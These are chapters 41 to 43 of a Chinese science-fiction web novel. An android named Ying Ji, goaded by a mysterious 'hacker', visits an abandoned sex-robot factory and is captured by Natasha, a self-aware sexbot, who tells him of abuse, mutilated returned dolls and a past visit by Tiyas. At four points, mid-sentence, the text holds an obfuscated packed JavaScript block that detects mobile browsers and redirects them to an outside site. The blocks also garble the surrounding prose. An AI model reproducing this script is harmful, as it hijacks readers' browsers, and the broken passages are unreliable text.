简化到极致的面板上,象征燕无乐的圆点骤然亮起,一条曲线从那延展,跨越星河向他靠近。他这才发现,自己忽视了子母两飞船间存在的信号连接。 信号有延迟,应霁飞速计算着,在定位自动传送到「扁舟」前迅速切断了连接。 光屏弹窗显示“成功”: 「您已拒绝接收来自飞船“扁舟”的消息」 “……”怎么听上去像闹脾气玩拉黑似的。 他又倚回操作室的墙上,光屏重新切回地图页面。都是可供中转的人类聚居处,每个都各有利弊。 出走是深思熟虑后的决定,至于去哪,应霁现在才考虑。 「怎么,还没想好去哪?我说的没错吧,你就是优柔寡断」 “嗡”的一声,光屏熄灭了,飞船内瞬间陷入漆黑。而这道电子音余音不断,甚至发出了咯咯的笑声。 应霁叹了口气,第三次了?继极夜城会面后,「黑客」又神出鬼没地出现在他面前。 「叹什么气?你终于自由了!离开那个女人后,你有这么广阔的宇宙可以去探索!」 “她叫燕无乐,不是什么‘那个女人’。”应霁调低了舱内音量,不耐烦道,“你究竟要做什么?我并不关心你或DM风投。” 「看样子提亚斯全都告诉你们了,意料之中,」电子音话锋一转,「你们吵架啦?」 他冷冷地抬起眼:“‘你们’?” 「你和那个女……好吧,你和燕无乐。」 电子音“滋啦”作响。应霁发现了,当燕无乐不在场时,「黑客」尤为放松,甚至说,有点太散漫了。 但无论如何,他都是一个至关重要的线索。应霁在黑暗中摸到光屏的启动键,试图向扁舟发送定位信息。 然而消息界面闪烁后迅速关闭,紧接着,屏蔽的解锁按钮凭空消失了。 「天真,你真以为我只能控制这小小广播?」电子音语调戏谑,「帮我个忙如何?否则你们永远别想联系对方。」 应霁闻言:“不帮。” “我们没人想联系对方。” 「黑客」:…… 「但我帮过你们,别忘了你们是怎么去极夜城的!」 “那又如何?你上次还说我受人类文明桎梏太深。”他耸耸肩,“我不是人,我没有道德。” 飞船内漆黑一片,倒很适合睡眠。应霁不会产生困意,但在极夜城伪装居民的日子里,他习惯了根据光线变化模拟作息。 不再理会刺啦作响的电流声,他转身躺回狭窄的休眠胶囊,飞船按原定路线行驶着,他的身下是携带安定因子的海绵垫。 玻璃罩即将落下,他闭上眼,等它彻底隔绝「黑客」的噪音。 突然,屋内幽幽传来一句: 「你就不怕自己再也醒不过来吗?」 应霁重新睁开眼,面无表情。 黑客那道电子音又变得琐碎而活跃,兴奋地像是终于戳到了痛点,它盘旋在空中,在舱壁间撞出阵阵回音:「离开那个女人后,你没办法给自己充能了,对吧?」 短短几分钟,他已判断出这备用飞船内没有充能桩。 智械没有心脏,电量耗尽的那刻就是陷入昏迷之时。普通机器尚有人维护,极度拟人的应霁却不存在这种可能。 对他而言,能量枯竭就是变为一堆破铜烂铁,最终在宇宙中四散不见。 「这样的结果,你甘心吗?这就是那个女人一直许诺的自由? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356078|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 」 「不如来和我做个交易吧。」 黑客诡异的电子音在头顶回响,萦绕不散。 「我教你如何摆脱束缚。而你,替我去见一个老朋友。」 * 燕无乐醒来时,发现自己倒在地上。 头痛欲裂,有温热的液体沿着额头流下,她下意识一摸,再一眼手心已是鲜红一片。 身旁还有无数碎屑,墙壁上的水培蔬菜掉落满地,玻璃渣和断枝叶混在地面污水,湿哒哒地浸透衣物。 驾驶舱的座位倒在角落,支架断裂露出海绵下的钢筋铁骨。 她扶着头站起。只见扁舟内一片狼藉,全景舷窗的保护罩已经碎裂,溅出的渣滓将操作台毁得不轻,光屏也时不时闪动。 燕无乐勉强走近,发现飞船已偏离预定航线,连坐标都时断时续。窗外黑暗无边,借着星光,她判断出扁舟已经降速至最低。 「2号、5号、6号发动机损毁严重,已停止工作」 「1号、3号、8号、9号转向器无法启动,请重试」 「飞船保护罩剩余能量:27%」 「请立即返航!请立即返航!」 一个个红色弹窗抖动,随后跳出应急选项,然而没用。 燕无乐神色越发凝重,她对着操作台输出半晌,额头上鲜血凝固。 “……定位系统全坏了。” 「扁舟」名副其实,真的要随波逐流了。 无法锁定目的地,无法掌握自身的准确坐标,无法自如地航行与降落……太荒谬了,燕无乐怒极反笑,她伸手把淌到下颌的血抹掉,机械臂上血污暗红。 机械臂果然记录了一切。 一艘极小型的无人飞船径直冲向「扁舟」,而燕无乐没有收到任何预警。 待她从剧烈的冲击中恢复意识后,罪魁祸首早已炸得四分五裂,不知飘向了何方。 「扁舟」体量大而结实,但在这突如其来的袭击后也只堪堪保住了舱内设施。 看它的行动轨迹,目标是飞船前舱的驾驶室,「扁舟」数据与信息中台所在的地方。 何种目的,不言而喻。 燕无乐冷笑一声,一份文件缩略图浮现在她的机械手腕,正是她事先备份好的证据链。 只要她还活着,就没人能销毁它们。 她重新整合了飞船内剩余的资源,又艰难发出求救信号。倘若运气好,她或许能漂到某个星际殖民地,或被路过的飞船拾取。 倘若运气不好…… 燕无乐打量着面前的狼藉,随后深吸一口气,抬脚跨过了它们。 起居室内还有残存的蔬菜、营养液,以及此刻略显多余的两张单人床。 床在极端情况下会变成胶囊休眠舱,大不了把自己发送到太空中,然后睡一觉。 “总会有办法的,”她自言自语道,“以前……不也过来了吗。” 右臂传来阵阵瘙痒,像那个梦里针孔涌现的时刻。 熟悉的荒凉感席卷全身。 又是孤身一人。 有些冷。 燕无乐越过一地残渣,最终在床边站定。 下一秒她耗尽全部力气,把两张单人床拼成一体。 41. chapter 41 备用飞船像一粒梭,无声滑入黑夜。 应霁如幽灵般从高处跃下,悄无声息,一袭黑色行动服将他裹紧,让他隐匿在周遭黑暗中。 这是一座悬浮岛,体量很轻,被附近的更大质量的天体勉强吸附。从外沿荒凉原始的地貌不难判断,它源于某一颗陨石碎片。 「请注意:氧气含量较低」 一张氧气浓度图在应霁体内产生,由浅到深,上面显示在他前方不远处,氧气浓度已接近人类活动需求。 「黑客」所谓的老朋友只能在那。 氧气不是他活动的必然条件,但人类需要。应霁一边前往,一边检索着内置信息库。 资料显示,这种悬浮岛在三百个地球年前曾大肆流行,彼时环形城已趋于开发完毕,开拓星际间的微型土地成本反而更低。 一大批密集生产风格的车间转向太空,它们使用大批量的机器工人,仅留下极少数管理岗供人类任职。 他们要在环境各异的天体碎片上生活,空气环境模拟机就是标配之一。 应霁已到达目标地点。 微风蹭过他的鼻梁与眼睫,他的半张脸被面罩盖住,只露出冷峻的眉眼。 一座巨大而梦幻的城堡式建筑矗立在他面前,霓虹闪耀,LED彩灯发出高饱和度的光,模拟出无数粉红爱心和蓝色泡泡。在环境配置机源源不断吐出的高温气体下,彩色光斑扭曲、变换,如同迷离烟雾。 城堡墙壁上涂鸦满满,桃红色深深浅浅,涂出的暧昧语句已在时间的冲刷下变得斑驳,随着墙皮渐渐脱落。 落地橱窗上积了灰,内里却有灯光,应霁扫了一眼,各色成人标准体格的女性玩偶被固定其中,它们穿着风格迥异的暴露服装,肉色酮体被吊带或网袜勒出痕迹。 走近看,甚至能看清它们脸上仿制的毛孔和绒毛。和橱窗玻璃不同的是,这些人偶虽然衣料陈旧,款式过时,但它们全身上下一尘不染,像是被人经常打理。 橱窗后隐约透着摆台,上面陈列着更精巧的商品,有些外形在模拟生|殖|器官的基础上,加入了更猎奇的设计。 镁光灯闪耀,室内一览无余。然而和橱窗陈列的人偶不同,这些小商品反而积满了灰。 有人打扫,但是有选择性地打扫? 城堡大门紧闭,锁链上锈迹斑斑,还是最原始的大铁锁。 应霁抬头扫描,为数不多的监控摄像头大喇喇地支在城堡上方,但都未启动,有几个镜头甚至已经碎裂。 早在备用飞船降落前,他就探查到了这悬浮岛上唯一的建筑,它层高一般,但占地面积不小,从高处俯瞰像一块豆腐。 而亮灯的地方却有限,现在看来,或许只有这城堡的正面。 生产车间、仓库,或者二者兼具? 这对应上了他刚读取的资料内容。而从装潢和橱窗来看,这厂家的产品类型也很明晰。 应霁退回黑暗中,沿着墙壁向建筑物后方绕去。光源渐渐远去,四周的景物在他眼里又变为夜视模式下的荧光绿。 越往里走,城堡的梦幻风格就越淡,墙皮脱落只剩下光秃秃的砖,它们层层叠叠垒出密不透风的高墙。 很快,视线尽头出现了一扇小门。 虚掩着,没有光,一片寂静。 经监测没有生命气息。 应霁裹紧面罩,作战手套露出五指,轻轻推开了门。 果真是一个仓储空间。 他闪身进门,灰尘与霉味扑面而来,只见数十台加工车床由远及近地排列,另一边是堆放的箱子与两台叉车。 车床附近还有机器工人移动的轨道,应霁走近,依稀可见几座已报废的机械工人。 依然监测不到生命活动的迹象,这里甚至比城堡橱窗更荒凉。 夜视模式看不清细节,应霁环顾四周,最终“啪嗒”一声打开手电。 光束打亮周围,明晃晃一片,灰尘比他想象中更厚,但似乎……有摩擦过的痕迹。 应霁俯身查看,下一秒,后背袭来冷风,一截钢筋向他砸来! 只听“嗖”的一声,他迅速闪身躲避,钢筋堪堪划过他的外套,然后重重砸在地上。 一道黑影闪过—— 还没待他锁定,另一个巨大的螺帽就向他飞来!与此同时发射的,还有一张锋利的光盘! 伴随着丁零当啷的响声,应霁一一躲开这些密集的袭击,他撤到车床后,用硕大的机身暂时遮蔽自己。 怎么回事?应霁抚上双眼,依然没有监测到生命迹象! 突然,周遭又平静下来,下一秒,一道冲击波从侧面袭来,将他推出数米—— 灰尘滚滚,那道黑影终于现身。 只见来者身形颀长,壮硕结实,他穿着灰黄色的防护服,整张脸裹在一体式的头盔中,戴着手套的掌心正握着一把长刀。 应霁看着那把长刀拖过地面,溅起层层灰尘,那道声音经过变声处理,透过头盔传来,“这里不欢迎你。” 他站在另一侧,“我来找人。你是谁?” 黑影不语,只是一味逼近。 应霁见状也不再多说,他快速扫描了来者的外形,发现胸前有一行字样,“……遵纪、敬业、保安?” 长刀寒光闪烁,而他赤手空拳,走得匆忙,他没有从燕无乐那顺走任何高伤害的武器。此刻应霁悄悄摸到裤腰,那里别着一把普通手枪。 但好歹算得上热兵器,胜算也不低。他掏出抢,直指黑影。 黑影像是料到了般,反而加快脚步,顷刻间,那把长刀刺破空气,朝他飞来! 应霁稍改角度,躲过一击后向黑影冲去,他手中的枪已上膛,扣动板机的那刻,他看见黑影背后甩出了另一把长刀—— “哗啦啦——” 眼前电光闪过,身上好像有什么地方变得黏糊糊。 应霁翻滚在地,低头就看见作战服撕裂,里面已经皮开肉绽。 再抬头时,脖颈间多了道硬冷的触感。 黑影不知不觉已来到他面前。 应霁捂住伤口,他没有痛觉,但装得虚弱,“好了,停手吧……你是这里的保安?” “不要多话,哪来的回哪去。” 保安居高临下地望着他,整张脸藏在黑漆漆的头盔之下。方才甩出的第一把长刀,居然已回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371363|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到黑影手中。 “是吗,”应霁轻声道,“可能不行。” 下一秒,以超越常人所理解的范畴,他那条受伤严重的腿一伸一扫,将保安绊倒在地! 紧接着,他扣住头盔下沿,一把将它掀开! ……居然没有想象中费力? 应霁还没空思考这松垮的头盔尺寸,眼前的景象就让他愣住,一张五官精致的脸出现,时髦的银色长发涌出。 是个年轻女人。 她眉头一横,“这里更不欢迎男人。” 身后又传来“哗啦啦”的声响。应霁这才反应过来,她的两把长刀间有某种感应,是一种改良过的链刃。 遭了,这不是单纯的冷兵器! 为时已晚,一道蓝光突然照亮整个车间,是电磁脉冲!随后,应霁就失去了意识。 * 他醒来时,入目的是粉色天花板。 这装潢风格他见过,是城堡橱窗。 但此处四面无窗,墙壁周围没有货架,却摆满了一个个等人高的塑料包装盒。 他偏过头想要仔细查看,却发现四肢动弹不得,这才发现自己被扎扎实实地捆在了一座车床上。 “吱呀”一声,生锈的门栓转动,那个女人走了进来。 她还穿着那套保安服,头盔已经取下,冷漠地看了他一眼。 光线充足,应霁得以看清了她的脸。 这是一张无可指摘的脸,三庭五眼,无论眼睛还是鼻子,单拎出来都精致无比。连皮肤都光滑细腻,除了眼角下方有一个不起眼的疤。 美丽端庄中混着欧式风情,以人类社会的审美来看,这甚至能做整容范本。 但怎么感觉……似曾相识? 应霁将女人的面容悉数扫描存档,试图放入数据库进行比对。女人见状冷笑一声,车床启动,“你信不信我挖掉你的眼?” 她绕过正在弯曲的车床,看着被迫调整为坐姿的应霁,“不过挖了你也感觉不到痛。” 两人就这样观察着对方。 现在他看清房间中的塑料包装盒了,里面陈列着一个个情|趣|机器人,全塑封表明它们滞销已久。 他也明白了对这女人的熟悉感从何而来。 这是一张极其标准的脸,几乎所有人形机器,个性化设置前都用这种模式脸。 区别在于,像这一屋子的情|趣|机器人,它们的模式脸也被设计得更小巧、精致,一种梦幻又虚妄的假象。 银发女人也位列其中。 应霁收回视线,冷淡道:“你也不是人类,对吧?” 银发女人眉头一挑,“猜对了。我叫娜塔莎。” “庆幸吧,”她站起身,“如果你是人,早在车间时我就会杀了你。” 电磁脉冲枪最早发明用以控制人形机器,强电磁脉冲会干扰甚至破坏量子计算机的电子元件。 那道蓝光亮起时,应霁就知道自己身份暴露了。 此刻,他大腿上的伤口被完整剥开,黏连的皮肤组织下是一捆捆胶线和金属骨架,没有血水,也没有神经反射。 看样子,自己也被切开了解过了。 42. chapter 42 此时此刻,应霁被固定在车床上,四只金属手铐自软垫冒出,严丝合缝卡住腕部。 他身下的工作台完美贴合他的身体曲线,环顾四周后,不用想也知道这是加工什么的。 娜塔莎将车床调整为折叠姿态,加之手铐脚链,乍一看如同审讯椅。 她倚在某个塑料包装盒旁边,没有丝毫放开他的意思,“先说说,你是怎么找到这的?” 悬浮岛废弃已久,若非精准坐标,没有飞船会注意到这么一块陨石碎片。 “有人拜托我,来这见见他的‘老朋友’。”应霁坦然道,“他说很久没见过了,也不确定对方变成了什么样。” 娜塔莎不屑:“是吗,你的朋友多少岁了?我在这可待了快一百个地球年了。” 见他不语,又补了句:“拙劣的谎言。” 她转身掀开塑料包装盒,抱出一个人偶,它身上的白色纱裙乍出,像一团碍事的云。 随后,她将人偶搬了出门,那是橱窗的方向,紧接着又搬回一个应霁见过的展示人偶。 应霁看着她擦拭掉人偶皮肤表面薄薄的细灰,又将肢体关节调整为最自然的状态。高仿真的发丝放置久了容易打结,娜塔莎将它们一一梳散,最后才将人偶放回塑料包装盒。 目睹全过程,应霁问了句“为什么”。 这里没有人类活动的痕迹,只有娜塔莎这个智能异常发达的情|趣|机器人。 机器运行需要指令,即使是他,每次行动也需要斟酌后果。 而这些人偶没有使用痕迹,联想到城堡的仓储结构,它们应该是一批积压到被遗忘的货物。时间之久,或许已经无法启动。 应霁想不出她打理它们的原因。 娜塔莎对他的疑问充耳不闻,她很快搬起了下一个人偶出去,又换回另一个,重复上述擦洗步骤一遍又一遍。 终于,娜塔莎向他走来,她还戴着做卫生用的橡胶手套,不等他发问,下一秒就掰开了他的嘴。 “之前我就注意到了,虎牙?”她嗤笑,“你的躯体我切开看过了,虽然外面都是货真价实的生物组织,但里面还是机械与计算机。” “我猜,你也是某个人的替代品吧?就和这一屋的姐妹一样。” 她转过身去,应霁听见她不屑的评价,某个人类的宠物狗。 她猜的其实没错,应霁舔了下自己的虎牙,如果她不提,他几乎都要忘记这与齐知洲所不同的设置。 “不,燕无乐没有那样对我。”这牙与齐知洲不同,也和喜好无关,他曾经确认过,这是燕无乐刻意区分的结果——也许,她潜意识中并不想要一个替身? 娜塔莎又嗤笑一声:“真是病的不轻。” “如果她是真情实意,那你为什么要离开她?这么高的自由度,应该不是她叫你滚的吧?” 应霁沉默了。 娜塔莎露出胜利的微笑,重新靠回塑料盒边。她的视线穿越层层叠叠美丽年轻的曲线,自己则被结实宽厚的保安服裹住。 她比这些情|趣机器人都高,肩宽背厚,走起路来大步流星,头盔一戴开启变声后,更是难分雌雄。 那对长刀静静地躺在脚边,刀柄处锁链相接,是双生链刃,配她的身高刚刚好。 “说吧,你是怎么找到这的?别再扯什么老朋友叙叙旧。” 应霁打量了一下自己仍被捆住的手脚,略一思索,决定越过黑客那油嘴滑舌的说辞,直奔曾经在科鸢发生的事情。 他还记得自己去科鸢总部报道不久时,看过一些来自阿芙洛狄研究院的资料。其中有一些受DM风投资助的项目,“我记得有一项的内容是,通过刺激实验猴脑中的特定区域,收集快感数据。” 金銮城的自然人从事情|色产业违法,但机器人不会。 应霁环顾四周,目光所及之处皆是未开封的人偶,不知有多少。再看娜塔莎过高的智能水平,联想方才她的举动,一个猜想忽然浮现: “等一下,它们也和你一样搭载了意识程序,甚至是高等级的人工智能吗?” 这下娜塔莎不说话了。 半晌,她叹了口气:“快一百个地球年了,金銮城的法律还是这样吗?” “我以为,至少会有人关注机器的权益呢。” 尤其是已经萌生意识的智械,她冷漠道。 她贴近一个包装盒,透明塑料片倒映出她的脸,和其中的美艳人偶重叠。她说没错,这里面的人偶们都装载了意识程序。 智能等级不高,但基础的辨识、记忆等能力已有,可以达到宠物猫狗的水平。 这原本是情|趣用品厂商推出的plus功能。 “人类是追求反馈的动物,这个反馈阈值会随着一次次的满足而不断升高,因此他们追求刺激中的刺激,只要可能,便永无止境。” 最初,人们腻烦了软塌塌的橡胶质地,厂商由此推出高仿真的皮肤与肢体。后来,有的人不满人偶永远瘫软如鱼,他们要看、要听、要回应,于是厂商将产品一次次迭代,从触发语音到自主生成,再到植入意识程序,迭代后的产品一次次突破感官的极限,挑战意料之外、又尽在掌控的快感。 单价与股市一样水涨船高,但很快,用户提出的需求越来越露骨,高灵敏的传感器、意识程序、抗击打的躯干与全仿真的神态……对拟人的极度追求,成为了厂商年复一年的KPI。 与之一同畅销的还有道具,它们被设计得越发暴力,配套销售时终于被舆论围攻。民间质疑厂商目的、社会影响,这件事很快被星际法院关注,一纸整改通知书就关停了全部生产车间。 这座悬浮岛就是其中之一。 应霁听完淡淡评价道,饮鸩止渴。 破产后的厂商没有足够的资金处理滞销品,小小的悬浮岛也一直等不来接手人。日转星移,产业升级也让密集型工业被取代,悬浮岛更加无人问津。 这里很快沦为一座鬼城。 娜塔莎说完耸耸肩,对此倒是很无所谓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387126|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她走到应霁面前,像是要带他参观这所生产车间的历史般,“轰隆”一声拖动了他身下的车床。随后,车床捆着他驶入既定轨道,伴随着巨大噪音回到库房。 应霁:“……你其实可以把我放开的。” 娜塔莎把链刃栓在背后:“不,我还不信任你。” “虽然你说了很多,但我的记忆库中并没有所谓的研究院和DM风投。那份研究报告也可能只是用于医药研发,并不能证明什么。” 应霁耳边萦绕着噪声,身下颠簸,他感觉自己脑浆都要被晃出来了——假如他有的话。 这对他的感应装置无疑是巨大的摧残。 他将只得将所有算力投入体内计算机,逐字分析娜塔莎的话。忽然,车床一顿,他再次开启视觉时,眼前已是仓库内。 这和他遇见娜塔莎的半仓储半车间的地方不同,十几盏大灯明晃晃地挂在头顶,地上是混乱堆放的人偶与产品。 灰尘与蛛网齐飞,诡异与寂寥一色。 尤其是当他放大扫描后,发现这些人偶大都缺胳膊少腿,有的身上坑坑洼洼,或者沾着些又红又白的痕迹。 它们的脸倒是与那些未拆封的人偶不同,有胖有瘦,五官经过调整,有的更接近普通人长相,有的则被大面积刺青,其中不乏侮辱性话语。 一些人偶的头发被剃得乱七八糟,一些甚至找不见头。 应霁把视线从一具人|彘|状的躯干上移开,削去四肢的身体上,还保留着使用痕迹。 “这些是什么?” “一些被退回的货,我们曾承诺过维修和替换服务。”娜塔莎扫视全场,“看看就知道了,没有能修的。” 这里像一座乱葬岗,素不相识的肢体重叠在一起,它们诞生于此,面目全非后又回到这里。 这座仓库有着梦幻城堡的外表,内里掩饰的是在黑暗中流动的欲望。 娜塔莎平静地说,许多被退单的产品并没有写地址,与其说修复,不如说抛弃。 “毕竟这种等身的大小,又极度仿真,出现在垃圾桶或者什么地方都很吓人。” “它们也搭载意识程序了吗?”应霁问。 娜塔莎没回答,她抽出长刀刮开地面的灰,水泥地上还记录着当年仓库停用的时刻。 ——距今九十多个地球年。 说明这批退货都是厂商破产前的最新款,是否搭载意识程序一事,不言而喻。 她长刀一挥,又把时间盖住了。 像掩埋一段灰暗的历史。 “看到了吗?这就是城堡的过去与现在,我没有骗你。”娜塔莎收起刀,双手抱臂,“这里没有你需要的东西,我所认识的金銮城朋友也已过百年,离开这吧。” 说罢,车床启动,眼见自己即将按轨道被送往室外,应霁连忙出声,“等一下!” “既然都倒闭了,你又为什么守在这里?” “你似乎对我刚提到的神经快感之类的研究内容,见怪不怪了?” 43. chapter 43 娜塔莎居高临下地望着他,“你话太多了。” 但车床停止了启动。 刺眼的白光下,疑虑在她眼中流转,最终化为缄默。 “唰”的一声,下一秒,应霁发现四肢上的铁铐收回去了。 随后,一卷医用胶布被抛了过来。他擦干净上面的浮尘,立刻扯出一段粘好了腿上半敞露骨的生物组织。 燕无乐培育它们时刻意调整了参数,他的外伤愈合速度要高于普通人。 应霁用完,却没有着急把胶带扔回去,他拿在手中转了一圈:“哦?这个居然才过期三年。” “你刚说你在这待了几十年,是吗?”还有那个迷惑了他许久的氧气制造机,现在想来也是专门为谁准备的。 娜塔莎也没打算隐瞒:“每隔两三年,金銮城会派人来检查,虽然我也不知道这有什么好查的。”毕竟悬浮岛也算人类殖民地,国土机构定时巡检也正常。 她耸耸肩:“我几乎没露过面,而且,政府的飞船又不落地,他们一般在太空扫一眼就走了。” “几乎……那就是和谁见过面。”应霁皱起眉头。 “应该是人类,这个氧气罩就是他们留下的。”她说的稀松平常,“快十年前了吧,那几个人在悬浮岛停留了一阵子。” “估计以为这已经荒废了,他们在附近制造了一大堆太空垃圾,然后就变得无所事事。” 但也不着急走,她回忆道,那几个人里大多都像混混一样,素质堪忧,只有一个人戴眼镜穿夹克,看起来格格不入。 这个形容,应霁很难不联想到一个人。 他调出手环上的光屏,提亚斯的照片浮现,“你说的那个人,是他吗?” 娜塔莎瞄了一眼,旋即点头。 提亚斯在近十年前来过悬浮岛,还带着好几个人……? “他就是你一开始所谓的‘我的老朋友’?如果是的话,那你真的被骗了。”她哈哈大笑,“我们只见过那一次,很多年了,但我还记得他们落荒而逃的样子!” 提亚斯当然不是黑客,但应霁没有着急纠正娜塔莎的误会,任由她在储蓄卡中筛选、解析。 情|趣机器人的硬件再仿真,也不是以它们本身为目的而装配的。因此,娜塔莎没有应霁那样的光屏终端,也不能将感应器收集到的音视频直接展示。 只见她就着宽大的保安服席地而坐,手握长刀,在面前空旷的灰尘地上画了五六个火柴人。 几个矩形立在中间,又加了三角形的尖顶。应霁认出来了,是城堡橱窗。 随后她在最角落的边上又画了个火柴人,是娜塔莎自己。 箭头落下,指着角落小人。面对四处扫射的手电筒光,当时的她藏在橱窗展柜内,面无表情,神情与其他未启动的机器人无异。 提亚斯为首的小团体在城堡库房内穿行,不一会儿就决定分头行动。他们目的各异,在提亚斯仔细盘算车床质量时,那群混混则在橱窗内流连忘返。 他们来自极夜城,年纪不大,头一回见这等肉|欲横流的产业链,一个二个嘻嘻哈哈,很快就有人提议拆个塑料盒看看。 “你们看她要笑不笑的,怪瘆人的。”一人走近观察,喃喃道,“这得有几十年了吧,还能有电吗?” “哈哈哈!你先找到开关再说吧!你这黄毛不会是第一次摸女人吧?” “还看什么说明书?认得几个字啊——” 被说中的黄毛恼羞成怒,也不管盒子上的说明书,掏出匕首就划开了塑料薄片。 霎时,盒内的金发女郎睁开双眼,碧蓝瞳孔收缩,迅速锁定了面前几个登徒子。 她红唇微启,笑意盈盈,意味深长的目光在几人之间游走,随后伸手一推,轻轻挡开了黄毛无处安放的手。 她穿着特意紧身的希腊长裙,白色褶皱随脚步荡漾,赤脚便踩在了满是尘土的水泥地面。 这一套动作行云流水,即使是将近百年前的参数,金銮城所产的机器人也超乎了所有人想象,几个混混面面相觑,愣在原地。 黄毛被人推了一把,撞上了金发女郎,洁白的长裙上顿时留下了一个黑脚印,又因他的后退而“刺啦”一声裂开大半。 下一秒,女郎的细眉拧起,娇弱地惊呼一声,不带感情的蓝眼珠中蓄起泪水,摇摇欲坠。 这一幕让所有人都看呆了。 他们何曾见过这种情景,顿感空气燥热。 黄毛也胆大了起来,他使唤另一个人去关门,自己走近女郎然后摸了把她光洁的手臂。 细腻逼真的手感让他汗毛直竖,连连咋舌。其他人见状也围了上来。 金发女郎神情无辜,眨着眼睛缓缓看向四周,像一只落入虎口的白兔。 娜塔莎躲在距离众人不到十米远的箱子后,看着他们渐渐围拢。她们的感应装置能分析环境中的费洛蒙含量,因此,无需所谓的福至心灵,男人们的状态就能被精准捕获。 谁是猎物,还不好说。 一连串解析数据自她体内生成,反应到那金发蓝眼的机器人身上,就是程序设定下的挑|逗话语。 看着费洛蒙含量逐渐升高,悉悉索索的声音也不小,双刀链刃在手,娜塔莎却忽然心生一计。 她的面部肌肉几十年没怎么运作过了。但想到接下来要干什么,她就想笑。 电闸就在她面前。她坐在原地,长刀一挑,按钮被掰落的瞬间,屋内光源就灭了一半。 几个混混抬头张望,下一刻,金发女郎的声音也变了腔调,“哥、哥哥们……怎么、怎么不看着我、了?” 只见她的眼睛忽然瞪得很大,蓝色瞳孔快速挪动,红唇一张一合,频率却对不上内容。 “怎么、不、不说话?!”她声音抖动,随后面部也开始抽搐,原本恰到好处的羞涩笑容骤然消失,嘴角被扯到最大,诡异地上挑着。 随后,女郎的四肢也开始抽动,她一边怪笑一边在空中乱抓,试图抓住面前的每一个男人。 混混们早被吓得吱哇乱叫,四散奔逃。 然而唯一的出口被他们自己反锁了。 金发女郎披头散发,本能地朝他们扑来,她的意识程序还到不了识别情绪的等级,只能按照设定做一个黏人小猫。 混混们打不开大门,也甩不掉腿长步子大的诡异女郎,慌乱中只得抱作一团,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403307|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊大叫—— “嘭!” 大门从外面破开了。 提亚斯手提微型炮筒,轰开了门锁。 他大眼一扫,就看见衣衫褴褛、面色惨白的机器人正追着人跑。而自己带来的人则像受惊的鹌鹑一样,哭爹喊娘,抱头鼠窜。 再一看黑了大半的室内灯光,他眉头一皱,敏锐地觉察到了什么。 “都闭嘴!一天到晚正事不干,在哪都不要脸!赶紧滚!” 他大喝一声,登时这群鹌鹑就不动了。他们灰溜溜地窜了出去,留提亚斯一人直面这已然失控的机器人女郎。 始作俑者的黄毛跑的最快,离去之前不忘回头看,又被提亚斯一记冷眼逼了出去。 女郎歪头看着新闯入的男人,电源不足的影响让她解析速度下降,此刻呆愣愣地立在原地。 提亚斯走过去,准确地摁下了她藏在脖颈后的按钮,女郎很快偃旗息鼓。 他啐了一口:“说明书都不会看。” 随后,提亚斯转身面向橱窗,“出来吧,我已经发现你了。” 一把尖刀飞来,不费吹灰之力就插在了电闸门板上。 眼见暴露,娜塔莎也不躲了,她手握链刃,缓缓从塑料盒后走了出来。 彼时的提亚斯仍值壮年,青白胡茬修得服帖,皮质夹克外挎着帆布工具包,钢锯扳手等工具张狂地露在拉链外。 他从头到脚打量着面前的娜塔莎,视线最终停在她胸口的保安工牌。 “——这不是你的衣服吧?” 娜塔莎长刀在手,也不含糊:“我穿什么,什么就是我的衣服。” 她没有戴头盔,面容暴露在空气中。那与金发女郎如出一辙的精致五官,以及过腰的卷曲银发,都揭示身份。 提亚斯眯了眯眼,下一刻扔掉工具包,双手举过头顶:“不好意思,我替那帮小子给你们道歉。能和我聊聊吗?你好像不太一样。” “作为回报,我保证以后不会再来打搅。” 娜塔莎想知道他口中的“不一样”指什么,她来了兴趣:“那就聊聊?” 提亚斯看了看她的长刀,又看向了那块翘起的电闸门,表情不言而喻——娜塔莎的意识水平,明显超出了情|趣机器人的范畴。 他问出了那个名垂千古的哲学问题:“你是谁?” 